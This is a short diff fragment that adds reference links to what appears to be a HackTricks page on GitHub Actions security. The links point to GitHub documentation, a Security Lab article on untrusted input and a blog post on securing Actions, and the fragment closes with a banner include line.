 - [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards)
 - [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
+- [https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
+- [https://securitylab.github.com/resources/github-actions-untrusted-input/](https://securitylab.github.com/resources/github-actions-untrusted-input/)
+- [https://docs.github.com/en/rest/checks/runs](https://docs.github.com/en/rest/checks/runs)
+- [https://docs.github.com/en/apps](https://docs.github.com/en/apps)
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 
 {{#include ../../banners/hacktricks-training.md}}